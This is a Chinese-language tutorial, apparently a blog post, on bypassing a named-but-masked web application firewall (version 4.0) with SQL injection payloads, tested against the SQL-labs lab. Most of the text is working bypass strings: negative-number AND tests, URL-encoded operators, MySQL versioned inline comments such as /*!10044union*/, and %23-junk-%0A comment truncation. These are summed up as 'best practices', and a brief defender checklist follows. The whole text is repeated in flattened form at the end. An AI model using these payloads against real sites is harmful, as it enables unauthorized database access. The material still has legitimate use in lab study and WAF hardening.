记录过某常见WAF最新版
字数 730 2025-08-15 21:30:34

WAF绕过技术详解:基于某常见WAF最新版的注入绕过方法

1. 基础测试环境搭建

  • 使用SQL-labs作为测试环境
  • 目标WAF版本:4.0(最新版)
  • 基础注入语句示例:?id=-1' union select 1,2,3 --+

2. 基础逻辑测试绕过

2.1 AND逻辑测试绕过

原始拦截语句

and 1=1

绕过方法

  1. 数值变换法:

    and -1=-1
    
    • 原理:将正数表达式改为负数表达式
  2. 运算符替换法:

    & 1=1
    
    • 注意:在PHP中&是连接符,建议使用URL编码:
    %26 1=1
    

3. 内联注释绕过技术

3.1 注释类型说明

  • /**/:普通注释,内部语句不执行
  • /*!*/:内联注释,内部语句会执行

3.2 版本号内联注释

语法

/*!版本号 语句*/

表示当数据库版本≥指定版本时执行该语句

有效版本号

  • 测试发现10044在当前WAF中仍然有效

应用示例

/*!10044union*/ /*!10044select 1,2,3*/--+

union /*!10044select 1,2,3*/--+

4. 截断注释绕过技术

4.1 注释符号说明

  • #:SQL注释符,URL编码为%23
  • --+:SQL注释符
  • %0A:换行符(保持命令连续性)

4.2 混淆注释绕过

基本结构

%23混淆字符%0A真实语句%23混淆字符%0A后续语句--+

示例

%23QQQ%0Aunion%23QQQQ%0Aselect 1,2,3--+

原理

  1. WAF检测时#后的内容被注释
  2. 通过%0A换行后继续执行前面的命令
  3. 混淆字符(QQQ等)用于干扰WAF检测

4.3 结合内联注释的高级绕过

%23QQQ%0Aunion%23QQQQ%0Aselect1,database/*!()*/,3--+

5. 最佳实践建议

  1. 优先使用负数表达式测试(如-1=-1
  2. 内联注释结合版本号(10044已验证有效)
  3. 注释截断技术配合混淆字符
  4. 必要时进行URL编码(如&%26#%23
  5. 换行符(%0A)可有效维持命令连续性

6. 防御建议(针对防御方)

  1. 加强对内联注释的检测
  2. 处理换行符的语义分析
  3. 建立更完善的注释符号检测机制
  4. 更新版本号检测规则
  5. 加强对混淆字符的识别能力
WAF绕过技术详解:基于某常见WAF最新版的注入绕过方法 1. 基础测试环境搭建 使用SQL-labs作为测试环境 目标WAF版本:4.0(最新版) 基础注入语句示例: ?id=-1' union select 1,2,3 --+ 2. 基础逻辑测试绕过 2.1 AND逻辑测试绕过 原始拦截语句 : 绕过方法 : 数值变换法: 原理:将正数表达式改为负数表达式 运算符替换法: 注意:在PHP中 & 是连接符,建议使用URL编码: 3. 内联注释绕过技术 3.1 注释类型说明 /**/ :普通注释,内部语句不执行 /*!*/ :内联注释,内部语句 会执行 3.2 版本号内联注释 语法 : 表示当数据库版本≥指定版本时执行该语句 有效版本号 : 测试发现 10044 在当前WAF中仍然有效 应用示例 : 或 4. 截断注释绕过技术 4.1 注释符号说明 # :SQL注释符,URL编码为 %23 --+ :SQL注释符 %0A :换行符(保持命令连续性) 4.2 混淆注释绕过 基本结构 : 示例 : 原理 : WAF检测时 # 后的内容被注释 通过 %0A 换行后继续执行前面的命令 混淆字符(QQQ等)用于干扰WAF检测 4.3 结合内联注释的高级绕过 5. 最佳实践建议 优先使用负数表达式测试(如 -1=-1 ) 内联注释结合版本号( 10044 已验证有效) 注释截断技术配合混淆字符 必要时进行URL编码(如 & → %26 , # → %23 ) 换行符( %0A )可有效维持命令连续性 6. 防御建议(针对防御方) 加强对内联注释的检测 处理换行符的语义分析 建立更完善的注释符号检测机制 更新版本号检测规则 加强对混淆字符的识别能力